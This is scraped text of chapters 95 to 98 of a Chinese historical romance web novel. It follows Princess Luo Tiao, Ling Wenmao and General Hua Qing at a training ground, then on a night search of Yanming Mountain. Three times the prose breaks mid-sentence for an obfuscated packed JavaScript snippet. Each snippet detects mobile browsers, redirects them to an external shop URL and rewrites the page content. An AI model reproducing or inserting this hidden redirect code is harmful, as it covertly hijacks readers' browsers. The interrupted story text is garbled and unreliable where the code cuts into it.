寻常在公主府和清雅苑,都是平平和婢女先将床榻烘得温柔如春,不必担忧床榻冷不冷。 骆苕叹息一声,自问还认床吗?好像也会认,不过那样的执着已经淡了。 如今骆苕觉得自己是个可以食百家饭的幼子。 临近天亮好不容易睡着,迷迷糊糊,骆苕只觉弓如河虾的后背再次被温热包裹,听见凌文袤“啧”了一声,贴着她的耳边轻道:“再让你一个人睡,你能冻僵在床榻上,早知我来外间。” 昨晚神思受阻,忘记将暖过的床留给有需要的人。 骆苕睁开惺忪的眼,转过头,说得有点可怜:“我才睡着,没睡够,还想睡。”整个人转过去,探手在他的额头,一会儿放下手臂,“真的褪完了。” 寻了个舒服的姿势闭上眼。 才刚刚睡着,现下天然火炉自己回来,她不想错失机会。 凌文袤没说话,用实际行动安抚冷僵着的人,伸腿用自己的小腿含住冰冷如锥的脚。 骆苕头顶在他的胸口,沉沉入睡,这一觉睡得很扎实。 日晒三竿,骆苕醒的时候凌文袤不见踪迹,人窝在暖融融的被窝里一点也不想起。 好不容易被凌文袤伺候着起了身,吃完朝食,又在他备好的妆奁前仔仔细细装点。 骆苕望着一应俱全,制作精良的蕙兰香膏和胭脂水粉,呆视良久,这些全然不输宫廷制作。 凌文袤为骆苕挽了个同心髻,来配明艳的妆色,在簪发簪时凌文袤不动声色地指了指一旁的桃花玉海棠花簪子,问:“要簪这支?” “不必。”骆苕望着镜中人摇头,作了个假笑,“今日簪你给我挑的那一支,我怕簪了这支,你会把我的头拧下来。” 今日二人会一同出现正式场合,骆苕以长公主的身份,而凌文袤以侍卫的身份随时听命差遣,不可逾矩。 “算你知趣。” 凌文袤那股子狠劲这才漏出来,捡起海棠花簪子丢进匣屉,眼不见为净,“今日若敢簪这支,不仅会在大庭广众之下,按着你行不轨之事让你颜面尽失,还会……” 骆苕抬首看人,不出所料只觉人影兜头下来。 在骆苕唇妆花得不成样子的时候,凌文袤才伸手拿过并蒂莲流苏步摇插入骆苕的发髻,把没说完的接上:“还会直接将你囚在后宅,半步都不得出。” 骆苕低喘着再次看向镜中人,颦蹙眉心扶好步摇。 96. 第九十六章 囚她在后宅,这句老生常谈的话再次重提,骆苕已经不以为意,端详镜中站立的人,想赞他芝兰玉树,仪表堂堂,只不过到了唇边又笑着咽了回去。 似乎,他不爱听这些。 骆苕又撇眸看了一眼窗外。 窗外阳光明媚温煦,恰是一日正好时分,一双人若是站在日光下,一准会被鎏出金边。 花掉的唇妆可以重新涂抹,腐朽阴暗的心情暂时可以忽略不计,谁让今日睡够了阳光又很好。 骆苕不紧不慢耐心重新上妆,忽视凌文袤专心探究她神情的目光,最后穿上白狐氅衣,携同衣冠楚楚的凌文袤款步出宅邸。 去岁,凌文袤回京都城之后,基本穿的都是官袍,宫中禁卫时的麒麟袍,守卫城郊的玄雀袍,再后来刑部的獬豸袍,鲜少穿得这般清贵和谐。 今日如此穿着,也好似有意衬托骆苕的明丽。 香车宝马轧着清扫过的雪道,慢慢悠悠驶向校场,一早被招来身旁伺候的申怡在车内,向骆苕禀报公主府的琐碎事宜,话题离不开平平和阿石。 骆苕让申怡留意那二人的心思。 平平过完年十四岁,已有嫁人之心。她的父亲乃皇家养马奴,之前因响马滩得马疫,获罪牵连入狱连同平平收入进宫中为婢,后来她的父亲平冤出狱,也算一件幸事。 平平到底是伺候过骆苕的,既然有嫁人之心,婚事自然是要往合适人选里面议。 至于内侍阿石,小小年纪胆大心细,聪慧机敏,手脚又异常勤快,垌县丁家村失去的田亩也已经划归回他的名下,可一个净过身的人,骆苕不放心让他一人回丁家村。 就在公主府再多养养,等到时机成熟放他归家的同时便告知他侄儿的下落。 申怡顺便说了一件事:“子晴小女郎,昨日入府替骆公主收取银钱,询问起殿下,知道您不在后,瞧她样子有点失落,这小丫头一直惦记着殿下呢。” 那个头发被太阳晒的枯黄炸毛,一身脏兮兮,一口回绝骆苕收养的女孩,前个月骆苕招待过,个子长了,衣裳也不脏了,只不过一头枯黄的头发怕一时半会儿养不回来。 子晴按着挎包一角小心打量骆苕时的神情,令人记忆犹新,骆苕也只是不着痕迹地不与她对视,任由她打量。 前个月,子晴往公主府送萝卜、芜菁、韭菜和紫苏,说是御冬之用。 骆苕也不知子晴想在自己身上探寻什么,闷声不吭,申怡问她一句她便简短地答一句,倒也瞧不出胆怯,只是很懂分寸,与人保持距离的同时又不失疏远。 骆苕挑开帘子一角,看着旁侧策马并排而行凌文袤的油皮长靴,对申怡说:“等翻过年去,我们去骆公主那看看。” 申怡应下。 马车很快便入了南区校场。 校场外围着许多人,勋贵女占一大半,都是三三两两拥在一起,看花凊如何指点兵练,勋贵女着装各异,犹如牡丹挨着芍药,芍药挨着喜梅兰花,一眼望去热火朝天。 花凊前日傍晚接下操兵事宜,这些京畿宿卫都是男子,不服者众多,花凊只能用娴熟的兵法挨个教训不服者,用实力让他们闭上了嘴。 一轮一轮的人,一时也教训不过来,这才第二日,总还有那么几个冒尖的不服者试图寻衅,碍于闻风赶来看热闹的勋贵女在场,怕寻衅不成闹出笑话,也便暂时忍下躁动的心。 不知哪位勋贵女一眼捕捉到校场看台上的一行人的架势,“咦”了一声:“那是?”推推身旁的同行女子,待同行女子朝看台望过去,疑惑再问一道,“那是谁?” “那不是长公主么。” 人群里有人眼尖嘴快给了答案,“一旁的男子是凌五郎。”定睛看了一会,只见凌五郎毕恭毕敬,跟在娉婷袅娜的长公主大身后,长公主却一心只在校场上的花凊身上,二人隔着好些距离,也毫无交流之意。 给答案的女子,心道有意思。 旁的公主全已出降,婚礼办的是匆匆忙忙,清汤寡水,只余下一个在济虔寺大肆痛斥凌晖奸佞,唾弃凌五郎的长公主。长公主这尊活菩萨还蓄发还俗,却无意出降下嫁凌五郎,有那种即便骆氏皇族消亡,沦落成俗人庶人一个,也不会受凌氏摆布的意思。 长公主和凌五郎私底下的那些流言蜚语,沸沸扬扬已经传了几个月,纨绔凌五郎,从醉仙馆里流出的艳闻实在太野,连带着跟长公主的流言越演越野。 今日得见二人一同出现在校场,从长公主对凌五郎爱答不理的态度里窥见,凌五郎过不了长公主美人这一关。 即便今日的凌五郎,着装行止不像个浪荡纨绔。 校场外的所有人开始聚焦校场看台。 花凊朝看台望了一眼,瞳孔震动,一天一夜因骆苕被缠在凌文袤宅邸的不爽一扫而空,利索奔向看台,当着众人的目光给骆苕作揖行礼。 又抬头朝人模人样的凌文袤同样作揖,不过话说的很低又轻飘飘:“凌五郎,今日想挨揍,我可没空揍你,想挨揍排队去。” 大庭广众之下揍不得,揍坏了,他头上还有个老子,他老子还捏着自己老子的命呢,这个道理花凊还是懂的。 凌文袤双臂虚虚交在身后目视前方,嘴角噙着一点不明缘由的笑,对花凊的话充耳不闻,根本没搭理人的意思。 不搭理人,这个时候,花凊巴不得凌文袤不搭理人,听到声音都觉污了耳朵,回身挨着骆苕,在她耳边低问:“是殿下把这尊瘟神弄过来的?” 骆苕没说是也没说不是,抽出覆在手炉上的手,指向前方,同样小声着说,像两个窃窃私语闲聊的小女子:“我是来看你的,不提他,他不过是个摆设。来说说他们,怎么样,第一次让你教导这么多男人,他们可服气?” 这一问一语中的,不过花凊心情大好:“他们怎么可能服气,轮着人换着兵器要和我切磋,天寒地冻,正好无事可做,刚好给我练练手暖暖身。” 骆苕看着校场内两两比试着的人,心中不平连问:“他们还轮着人换着兵器要和你切磋呢?可有人敢跟你比试剑法?可有人敬你一声定南将军?” 没人主动服软,正好骆苕觉得自己可以住持公道。 “想跟我比试剑法的倒是有,反倒是我没有轻易答应,我跟他们说过,表现好的往后一定会让他们领略花家剑法。”这一句话花凊挺直身板声量提得极高,生怕昨日就想领略花家剑法的凌文袤听不着。 说完,花凊立时伏在骆苕耳边放低声量说,“定南将军暂且搁置,改日有机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583236|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会得个更好听的,现在我让他们叫我花将军。” 骆苕怎不知花凊前一句声量这般高真实意图,斜睐花凊一眼,抬袖掩下笑声,缓了缓放下手臂,朝向校场微微扬起下颚:“里面哪几位厉害一些?” 花凊指尖顺着骆苕的视线,点了几位,最后特意定在一人身上:“殿下可瞧见了穿一身红色短揭的那位?” 红色短揭很是显眼,想忽视也不易忽视,那人身量高,招式挺好看,正提着刀与人拼着来回,骆苕颔首回道:“瞧见了。” “这位不错,年方十七,功底扎实,平时擅长枪和槊,不过枪和槊都是战场骑兵常用兵器,并不适合长巷短道,七歪八拐的京都城,刀法弱了点,所以我让他多练刀法,刀是战场第一兵器,不能疏忽。”花凊问,“殿下觉得如何?” 耳听极敏的凌文袤听到此处,望着校场上红衣人不由眉梢一挑,确实刀法弱,在他眼里弱的不只是一点点。 骆苕静静思考着花凊的问题,花凊问她觉得如何,她是个略懂皮毛的门外汉,只取其表,瞥见校场旁跑马场里有人策马奔腾,再思考一下慢悠悠道:“鲜衣怒马少白头,总觉得缺了什么。” 花凊实在绷不住,笑出声响“哎呦”了一声:“我的好殿下,什么鲜衣怒马少白头,您不就是在说他样子老成,缺了一副好脸貌么。” 那人确实老成,十七岁便缺了点少年人的风发意气,一招一式如他的样子一样扎实,五官还挤在一处没长开又像是长过头了,犹如操劳过度提前白发的少年。 骆苕对自己不经意间沦落以貌取人的浅薄品行没在意,对着花凊笑了一下,坦诚:“你问我觉得如何,我也只知其表。” 花凊贼兮兮地凑到骆苕耳边说:“改日若还能上战场,殿下可有法子让这个脸貌不佳的归在我麾下,我需要这样一位擅长枪槊的得力副手。” 骆苕认同着点头,打趣:“若有机会上战场,我自然会帮着你讨人,难得你遇上个有眼缘的。” 花凊就这样在玩笑中被摆了一道,往年她跟骆苕说男人长得好看最没用,得拿实力来说话。 二人眼对眼心领神会地笑了。 骆苕将笑化开:“你可知他为何着一身红色短揭?” 花凊“咦”了一声:“为何?”这个她还真不知道,寻常对练需要摸爬滚打,穿的不是灰色便是麻色,灰色麻色沾了泥土也不突兀,着红色确实鲜有。 “红色显眼,让你能第一个便会注意到他。”骆苕说,“他是个聪明人,已经成功引起你的注意,又擅长枪槊,他想和你一样征战沙场。” 花凊恍然,点了点头,昨日好像没人穿红,今日只这一位,所以特别关注地指点问询了一番。 “真是个实打实的聪明人。”花凊建议,“殿下要挑几个人,让他们试试功底吗?反正都来了。” 骆苕望向校场,视线划过一圈,看到校场外人头攒动,好些往这面望着。 “走,我们上前瞧瞧。” 骆苕回身将手炉塞到申怡手中,眼皮子都未抬一下给凌文袤,转而提步下看台。 凌文袤双臂叉在腰胯上,站在原地望着骆苕摇曳在脑侧的并蒂莲流苏,嘴角勉强一提,谁让自己接了个熬人心的差事。 97. 第九十七章 校场内原本两两娴熟对练的人,随着骆苕靠近,纷纷在分心中乱去章法,兵器碰撞铿锵声变得不够流畅。 场外立着两位清闲贵公子,目不转瞬迎着骆苕,二人被美色勾去的魂魄,跟着骆苕止住脚步,同时颤抖,荡起涟漪。 其中一位哀叹一声,苦于只可远观,眯起眼睛酸文假醋道:“听闻,长公主得了失心疯,神志不清才受制于凌五郎,此等颜色美人,若得了失心疯,委实痛惜。” 另外一位没将目光从骆苕身上移开,还能留心接话:“瞧着长公主神采奕奕,玲珑娇艳,哪像得了失心疯受制于人。”怜惜似的维护,“净胡说。” 说实话,凌晖放任这样一位骆氏遗孤无拘无束,还在济虔寺大放厥词,大嵘臣工见着都得道一句凌晖宽宏大量,心慈手软。 先发声的那位摇头,不太认同:“失心疯阴晴不定,时好时坏,咱们这些凡胎肉眼可瞧不出来。” “既是瞧不出来,何必臆想去折损美人。” 校场里骆苕和花凊,认真地编排人对练,十八般兵器轮番上阵,花凊兴致勃勃沉浸在指点上,骆苕架着威仪,饶有兴致地附和花凊。 看台上,凌文袤背手踱步,沉沉想着心事,时不时朝校场内投去一眼。 时下朝堂所有人的目光都聚集在慕容霆彦身上,且看慕容霆彦如何去对付自己的父亲慕容烈。 依慕容霆彦的性子,断然做不了弑父求荣的勾当。 凌晖和慕容霆彦虽是老友,但此一时彼一时,这个时候凌晖需要施恩于旧臣,又要立威于不服者,平衡朝局,好为之后的顺利登位铺路。 慕容霆彦是否处理得当勍州,也预示着慕容氏往后在大乾的位置。 乾,凌氏皇族所定的国号,这个国号还是前晚赫连萨朵私下告知的。 前晚,凌文袤宿在凌府,见过温绥聊了一些家常后,被赫连萨朵推进内室耳提面命让他该为将来谋划。 赫拉萨朵只有两个要求:其一,子嗣。其二,世子凌承佐已然归京,凌文袤是时候争一争属于自己的当得利益。 凌文袤和舅父赫连度兴扣在湧州,做那守河之主多年,是时候活动一下了。 凌文袤风淡云净地驳了赫连萨朵的言辞,说时下关键时期不该令父亲凌晖因凌氏内部劳心,让赫连萨朵稍安勿躁。 更指明这个时候,啊姊温绥不该入京,引起父亲凌晖的猜忌。 坐镇俞州府的凌先觉,是凌晖的庶次子,也是凌文袤的庶兄,和温绥的丈夫许泽关系匪浅。 当年凌氏凭借凌晖在俞州副都竼城东山再起,凌晖已有原配,后来孝玄帝骆炜诠将自己的妹妹昭阳公主指婚给凌晖,原配赵氏,含恨退居姬妾之位。 昭阳公主难违皇命嫁与凌晖,入凌家待赵氏宽和有量,在凌晖面前不曾说过赵氏一句不是,即便赵氏怨怼之心从未消退,但也在昭阳公主活着的短暂的那几年里和缓度日。 如今赵氏跟着儿子凌先觉安居在俞州府,孙儿绕膝,承天伦之乐,可终归没能从嫡庶的心魔中走出。 赵氏的两位儿子,一位为光耀凌氏门楣战死,一位在俞州,也就是凌先觉,受凌晖冷落,远离京都,触摸不到权利中心,时隔多年的幽怨再次升腾。 赵氏见不得昭阳公主所出的儿子凌承佐不费吹灰之力,便可以占据世子之位,面对赫连萨朵所生的凌文袤倒是温和许多,凌文袤虽为嫡子,可这个嫡子跟庶子相差无几。 大嵘即将落入凌氏之手,各方掩埋在内心深处的私欲蠢蠢欲动,如雨后的春笋,破土而出。 凌文袤告诫自己的母亲赫连萨朵,不可再轻举妄动,随意联络俞州,免得被有心之人利用。 还让赫连萨朵择日送温绥出京。 天空万里无云,洋洋洒下和心境并不相称的金辉,校场里的人渡着华光,明动照人,和她的好友正交耳低语,言笑晏晏。 凌文袤垂首再思。 骆苕留在中州的易时安和那一众精卫,藏匿地无影无踪,连骆苕都只说先等易时安回京,完全没有办法主动联系召回,歧城汇顶山的小破庙也早已人去庙空,不曾有人回去的踪迹。 再如此等下去,凌文袤只怕还要生出事端。 骆苕从前行的事,与白言霈几乎都会有重叠,那个被三番五次放掉的毒疮,终是露了脸。 凌文袤要把这颗毒疮亲手剜掉,纵然逃去了东刕。 “郎主。” 赤眉近前禀报,凌文袤还沉在思索里。 凌文袤抬头:“嗯?” “世子来了,说有要事商议。” 凌文袤放眼看入口处的阙门,不见车驾,不见凌承佐身影:“既然来了,世子为何不入内?” 校场看台守着卫兵,闲杂人等不可入内,更有雀屏在侧,展开便可阻挡视线,在看台商议不会泄露半分机密。 凌承佐何必为了避着骆苕,故作矜持不入内,凌文袤倒是想凌承佐在这看台议事。 赤眉说得明白:“世子说,要事或许比较繁琐,需要郎主安顿好这面,恐怕今日郎主顾不了这面。” 凌文袤眼波一顿,看向校场内。 若要事繁琐消耗时辰,差个人来召唤自己过去面见即可,何须凌承佐亲自来校场外亲自等候,如此客气的过了头,也不知是个什么意思。 成年后的凌文袤和凌承佐见面的次数屈指可数,也没看出如此谨慎。 他们见面最多的时候,大概是在副都竼城,凌文袤那时还未完全记事,养在离竼城半日马程的刘府,回竼城的印象模模糊糊,见了什么人,发生什么事不爱去睐理。 凌文袤又想远了一些,骆苕五岁之前都在竼城,在他未完全记事之前兴许还真见过,他记性不算糟糕,记事之后倘若见过,一准忘不掉。 五岁前,骆苕那样玉琢粉雕的一个人,估计凌文袤嫌弃的同时还得多偷觑上几眼。 儿时的凌文袤,脾性内敛也犯贱,说娶妻当娶像自己母亲赫连萨朵那般英姿飒爽的,最忌讳中看不中用娇滴滴的女子。 他儿时便有娶妻的志向,一路嫌弃来嫌弃去,如今栽进自己挖的坑里,刺痛并乐呵着。 到底还是犯贱。 “你去请长公主过来。” 赤眉得命去请人,眼看着回来的却只有花凊一人,骆苕像铁了心似得,回到半程便和申怡停下,不再向前。 “凌五郎,殿下差我过来问您有何吩咐?” 花凊的情绪被骆苕照顾的如斩千敌首级,问出口的话,暂时收敛住那股子的鄙视和锋芒。 还刻意对凌文袤用了个敬称——您。 凌文袤看二人玩得起劲,骆苕又没要走的意思,便道:“一会儿你送长公主回我的宅邸。” 听闻还要去凌文袤的宅邸,花凊眼眸一圆:“你等着。”一会儿让自己送骆苕回去,那就是他现在着急要走,这么一会儿都陪不了,整日只想着让人待在后宅。 晦气。 花凊一溜烟跑下去,回来后,她说:“殿下让我转告你,今晚她会在清雅苑,还说别让你那些护卫跟着了,每日像冬日里的蚊蝇,烦不胜烦,今日我花凊会陪着殿下,夜里也会在一起,凌五郎该干嘛干嘛去。殿下还说,明日在清雅苑等候凌五郎带她去,玉磐宫。” 玉磐宫这几个字,花凊是拖着长腔说完的。 言外之意就是劝告凌文袤别没日没夜地粘在骆苕身上,去了玉磐宫,没人打扰。 凌文袤暗忖过后没说什么,那人驴性子倔起来,一时下不来,他朝华光里的骆苕定了一眼,只见骆苕抬袖遮着日光,没往这面看一眼。 凌文袤回身离去。 走去一段路,凌文袤低头看着腰间的玉钱吉络的穗子,一荡一荡,沉声吩咐赤眉:“让葛七他们暂时撤了,别跟着她们。” 骆苕好像对从前在意的事,都刻意避着没多问。 凌文袤知道她挂心勍州,挂心寒门学子,挂心花凊将来的去向,挂心将来的皇位之争。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612455|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> …… 骆苕在校场看累了回到看台,饮茶远观,规规矩矩等花凊下职。 人群里有人想往看台上觐见,但有人拦着进不来,骆苕转头看过去,看清是贺兰淳在朝李印仪行礼,嘴里念念有词,李印仪侧着身没理会贺兰淳。 骆苕让申怡过去将二人放进来。 贺兰淳挽着高髻,发髻两边留有垂髾,身着裘衣,也是一副热热闹闹的活泼人儿。 骆苕起身,含着笑目迎二人过来。 “长公主殿下,您得替我做主,我嘴皮子都叫破了,堂嫂就是不答应我一句。” 贺兰淳行礼后,气鼓鼓地朝骆苕怨诉。 这是贺兰淳和骆苕共处一牢后的第一次见面,贺兰淳对骆苕早已没了敌意隔阂。今日在校场好不容易撞见李印仪,低声下四地向李印仪示好,李印仪却还是不理睬她,心中当然不是滋味。 贺兰淳和贺兰融从血亲上来说,是实打实的堂兄妹,可碍于长辈仇怨,从未正式相认过。 贺兰淳到底年纪小,才不管那些陈芝麻烂谷子的长辈仇怨,也听说过贺兰融英勇事迹,自己父亲贺兰启臻也从未说过贺兰融的不是,大约可以料想到,那些长辈仇怨,错方应该是自己的父亲贺兰启臻。 贺兰淳今日撞见了李印仪,自然和从前一样敬上一句,堂嫂。 李印仪直接跳开贺兰淳,行礼后对骆苕说:“长公主,昨日便听闻花将军接管了南区操兵事宜,今日过来看看,真巧,能遇见殿下。” 骆苕朝贺兰淳笑了笑,只问:“饮茶吗?”解铃还须系铃人,这是她做不了主的事。 贺兰淳唉了一声,吞气道:“饮。” 李印仪却开始赶人:“你还是走罢,我和长公主说几句话。” 贺兰淳的明月再次照了沟渠,看了看李印仪说:“谨遵堂嫂命令。”扭身就走。 骆苕对着背影,摇头道:“这样的性子,挺好,撒得了野,又受得住气。” “嗯。”李印仪这时才挂上笑,“这么多年都是如此,她也习惯了。” 骆苕静了静:“兴许贺兰启臻在等贺兰融先服个软,无论如何,贺兰启臻到底是长辈,估计拉不下老脸。” 李印仪吁气:“不说这些了。” 让贺兰融服软,简直天方夜谭,除非他的父亲贺兰永临起死回生,又或者托梦给他让他服软,如此,贺兰融才有可能跨过那道槛。 骆苕静默。 李印仪朝校场内挑挑下巴:“凌晖竟能让花小将军来校场接替操兵事宜,倒是出人意料。” “是。”骆苕说,“挺出人意料,不过刚好可以规训规训京中宿卫,免得懈怠。” 这些都是战时可上疆场的战士,久无战事,在京中的这些难免会被骄奢淫逸,糊住心智,麻痹四肢。 让花凊一位女将军,提提气最好不过。 李印仪说到正事:“勍州恐有兵变。” 骆苕默了默,只说了一句定语:“舅父定有两全的办法。” 既能保住慕容烈的性命,又能保全慕容氏的荣誉。旁人会觉得慕容霆彦太过贪心,但骆苕在这一刻选择相信慕容霆彦。 李印仪了然点头,此事只能拭目以待。 二人又说了一会儿话,等花凊下职,二人连同申怡去酒楼吃了一顿。 天色灰黑,李印仪告辞退去,没了葛七他们这些蚊蝇打扰,花凊和骆苕难得的舒爽。 犒劳过花凊一日的辛劳后,三人回清雅苑,在门口骆苕突然改了主意,让申怡一人留在清雅苑,说她要和花凊去公主府一趟,迟一些回来。 面对今日玩高兴吃高兴了的人,申怡也没放在心上,目送二人远去便入了清雅苑。 申怡还是很放心将骆苕交给花凊的。 马儿刚跑出一段距离,马上的骆苕喊住花凊:“花凊,今晚随我去个地方,你先去弄两身夜行衣。” 花凊心一惊:“去哪?” “雁鸣山。” 98. 第九十八章 “雁鸣山?”花凊收紧缰绳疑惑,“殿下怎么突发奇想要去雁鸣山?” 雁鸣山因雁鸣居士李潜而得名,李潜早年游医四方声名鹊起,十年前半隐居在雁鸣山醉心炼制丹药,丹药种类繁多,又卓有成效,成为京都城皇亲贵胄争相追捧的名品,名声大噪之时,曾入宫为孝玄帝炼制丹药。 前几日在乐坊,听闻雁鸣居士李潜羽化升仙,花凊发现骆苕神情有恙,还问过一嘴。 骆苕望着灰暗中花凊闪烁的眼眸,说:“白幼黎曾在雁鸣山居住近三年,所以想去雁鸣山看看。” 李潜死的蹊跷,骆苕将李潜的死讯告诉凌文袤时,凌文袤明显不知,二人默认死于凌晖之手。 今日骆苕又萌生出复杂的思绪。 李潜的弟子沈觅承袭了衣钵,接管雁鸣山。 凌晖杀李潜之前还允许李潜交代衣钵后事? 李潜让一个资质浅薄的沈觅接管雁鸣山,更匪夷所思,作为一个苛于律己的医者,李潜这些年救治女子都有条不成文的规定,女子必须真绝色,需要他亲自过目允准才行,更何况传承自己衣钵的弟子。 骆苕心存疑窦的是,沈觅在雁鸣山的时日和白幼黎相近,也是三年。 白幼黎和白言霈跟随东刕人入京,发生凶犯一事,紧接着李潜便死了。 骆苕的脑袋混乱无序,模模糊糊会将这些事联系在一起,直觉告诉她,白幼黎和沈觅有所关联,李潜并非凌晖所杀那么简单,或许和沈觅有关。 听到白幼黎这个名字,花凊眸色明显一沉,前几日二人在城中顽耍,骆苕对她说过白幼黎和白言霈的事,只是没涉及雁鸣山和香芜院这些细节。 “懂了,难怪殿下特地支走葛七他们,我随殿下去探一探雁鸣山。”花凊马鞭一扬,不再多问,“咱们先去我的宅里换衣裳。” 殿下信任她,殿下定有自己的谋断。 月过中旬,二人策马抵达山脚下,盈月已经高挂苍穹,给马匹寻了个隐蔽处藏好,登上石阶。 花凊竖着耳朵在前引路,骆苕紧随其后。雁鸣山山路蜿蜒,但不陡峭,好在石阶清扫过,骆苕爬得轻松。 顺利翻过一截陡峭崖石,踩上栈道,这段路最为狭隘,一旦有人下山对向而来,躲都没处躲。 花凊聚精会神凝听呼吸之外的声音。 真是想什么来什么,入了夜还有人下山,花凊推着骆苕一前一后又原路返回,藏进栈道入口旁侧的大石枯枝灌木间。 片刻过后。 石头后的花凊稍稍探出脑袋,看清了月光下行色匆匆的三位面色凝重的男子,瞧衣着颜色、制式相同,断定是雁鸣山的杂使弟子。 雁鸣居士头七未过,弟子上下山办差倒也寻常。 待人走远,花凊用手掌铲了一大撮雪,捏紧塞进口中解渴:“走远了,我们走。” 骆苕学着花凊的样子,铲了一撮雪,没捏,将碎雪往口中送。 月光下,花凊嚼着雪,扬唇看着骆苕细细吃着雪,一脸灿烂:“雪水矜贵,煮茶喝还大补呢。” 雪水又称天泉,风流雅士惯爱煮雪烹茶,沾了风流雅士边的东西,总会唱出曲高和寡的腔调。 骆苕便是站在云端将要下来的人,她不记得自己儿时可曾因好奇吃过雪,反正是没什么印象。 香雪煮茶每年却不落下。 从前的花凊一直都是围着骆苕转,饮食上自然跟着精细了两年。如今,骆苕也在慢慢体会像花凊这样的武将,就地取材的乐趣。 “集天地之灵气。”骆苕又铲了一撮,点头慢道,“这样就很补。” 二人起身出去,重新把那段狭隘的栈道走完,接近雁鸣居,同时对着雁鸣居外伸出半空的崖石出了一会儿神。 站在崖石上,远眺就能将京都城尽收眼底,虽然离得很远,但灯火如碎珠逶迤环绕,尽显国都显赫。 通透月光下的京都城遥远繁华,瞧得不太分明,但像一张完整璀璨的堪舆图。 雁鸣居士李潜选址在此半隐居,昭示着对俗世的眷恋。 二人蒙好面巾,沿着围墙移到一侧,花凊仰头望着从墙内伸出的错杂粗壮树叉,一个越步翻上高墙,一拉一拽又将身轻如燕的骆苕悄无声息送入墙内。 雁鸣居前的炼丹石室火光流窜,可以看到有人影晃动,空旷的院落中央聚集了一些人,男男女女人数众多,围着道坛悼念李潜。 为首的男子飘逸清俊,举止尔雅,着一袭胜雪白衣,无不透露着是个礼谦的郎君,从周围人的反应来看,确认那人便是沈觅。 树后的骆苕定定地看了一眼,凑近花凊的耳朵,耳语一句,二人撤离。 她们要去后舍找到沈觅的居室和书房。 似乎老天格外眷顾二人,骆苕跟在花凊身后辗转避开人,未出任何纰漏,花凊根据经验,精准摸到沈觅所处屋舍。 简室陋居,清灯寡照,卧房里只有一张旧床再无其他,书房也好不到哪去,稀稀疏疏陈列着两排书架,书册除了医书就是经书,偶有几册天南地北的《地记》。 书房留有清灯,沈觅会随时回来,二人得抓紧时间。 在屋内兜兜转转,实在搜寻不到可用的讯息,待要走时,骆苕蓦地回过身,步到书房,在炭盆前蹲下身去。 炭盆内留有纸张燃后的灰烬,纸烧完了,可所书墨迹却零碎地留在在灰烬之上,骆苕隔着蒙面巾屏息不敢喘息,生怕一鼻息就将灰烬连同墨迹吹散。 仔细看了半晌,还是没能辨别出上面写的是什么,她起身,检查沈觅留在书案上的纸墨笔砚,无声摇头,书案上的文房四宝太过寻常,与炭盆内的迥然不同。 落纸如漆,色泽黑润,经久不退,坚如玉,研无声,焚后,纸毁墨留,隃麋墨和奚墨才有这样的特性,也只有官宦和勋贵才能用的稀有之物。 骆苕对焚烧后的墨迹很熟悉,从前在宫中,烧过多回。 炭盆内烧尽的纸张已经无法辨认出自何处,上面的墨迹搁的太久,又被人急匆匆拨乱,虚散掉了字体形状,但依然可以从留下的墨迹断定,不是隃麋墨所书就是奚墨所书。 沈觅和外界有书信往来,书信往来的对象出自官宦勋贵之家,也不排除沈觅和白幼黎互通,隃麋墨和奚墨虽难得,但也不是得不到。 骆苕揉了一下额侧,又想到一个人,难道是凌晖? 难道是凌晖暗中扶持沈觅,杀了李潜? 不,不太可能,神鹰卫在雁鸣山畅通无阻,凌晖何须再递书信下达命令。 花凊一面聆听外面的响动,一面静静地等骆苕从炭盆前抽离思绪。 “我们走,此地不宜久留。” 骆苕把墨迹的事暂时收归脑中。 二人快速出去关上门,掩在游廊下按原路撤离。 月光清朗,给撤退的二人增加了难度,因为前面陆陆续续有人进入后舍。 后舍地势较前面大门高,二人想要越墙出去还是要去方才进来的地方,若不然后舍的墙越出去没有可走的路不说,还有掉入山涧的危险。 逼不得已,才会翻后舍的墙。 骆苕踩着花凊的脚印步步紧跟,一脚下去忽然心间颤动一下,她听到从前面传来,呼天抢地的救命声,好像还有大批涌向后舍凌乱的奔跑声。 二人一对视,都在好奇发生了何事,从呼声中能真切的听出会有血光,花凊对兵器出鞘的声音更为敏锐,皱眉凝神倾听。 “退,沈觅在外面,我们回沈觅的卧房。”骆苕当机立断不前去凑热闹。 既然已经确定沈觅在外面,那她们可以先鸠占鹊巢躲一躲。 退回卧房,简陋的居室无处遁形,花凊可以躲房梁,奈何骆苕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644277|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只会翩跹起舞,少了一些功底,不上去,在花凊想要扛人上去时,骆苕指了指床榻。 二人望着床榻,选择藏进床榻底下。 